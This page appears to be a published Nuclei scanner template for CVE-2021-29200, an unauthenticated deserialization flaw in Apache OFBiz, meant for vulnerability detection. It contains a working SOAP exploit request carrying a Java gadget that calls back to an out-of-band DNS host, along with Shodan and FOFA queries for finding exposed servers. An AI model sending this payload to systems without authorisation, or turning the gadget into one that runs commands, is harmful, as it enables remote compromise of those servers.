Apache OFBiz < 17.12.07 - Arbitrary Code Execution

ID: CVE-2021-29200

Severity: critical

Author: your3cho

Tags: cve2021,cve,apache,ofbiz,deserialization,rce

Description

Apache OFBiz has unsafe deserialization prior to 17.12.07 version An unauthenticated user can perform an RCE attack

YAML Source

id: CVE-2021-29200

info:
  name: Apache OFBiz < 17.12.07 - Arbitrary Code Execution
  author: your3cho
  severity: critical
  description: |
    Apache OFBiz has unsafe deserialization prior to 17.12.07 version An unauthenticated user can perform an RCE attack
  reference:
    - http://www.openwall.com/lists/oss-security/2021/04/27/4
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29200
    - https://github.com/freeide/CVE-2021-29200
    - https://lists.apache.org/thread.html/r108a964764b8bd21ebd32ccd4f51c183ee80a251c105b849154a8e9d%40%3Ccommits.ofbiz.apache.org%3E
    - https://lists.apache.org/thread.html/r708351f1a8af7adb887cc3d8a92bed8fcbff4a9e495e69a9ee546fda%40%3Cnotifications.ofbiz.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-29200
    cwe-id: CWE-502
    epss-score: 0.85578
    epss-percentile: 0.9855
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - html:"OFBiz"
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="Apache_OFBiz"
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve2021,cve,apache,ofbiz,deserialization,rce

http:
  - raw:
      - |
        POST /webtools/control/SOAPService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header/>
            <soapenv:Body>
              <ser>
                <map-HashMap>
                  <map-Entry>
                    <map-Key>
                      <cus-obj>{{generate_java_gadget("dns", "http://{{interactsh-url}}", "hex")}}</cus-obj>
                    </map-Key>
                    <map-Value>
                      <std-String value="STDSTRING"/>
                    </map-Value>
                  </map-Entry>
                </map-HashMap>
             </ser>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - 'value="responseMessage"'
# digest: 4a0a004730450221009c0d45811dcae783e0303bea87bff69b382326816792ad85782ab827f1a789ae022020fc91548079fd0a9c3ab1033c9d1e2df69eb046354932dbc80cd491b8f34799:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-29200.yaml"

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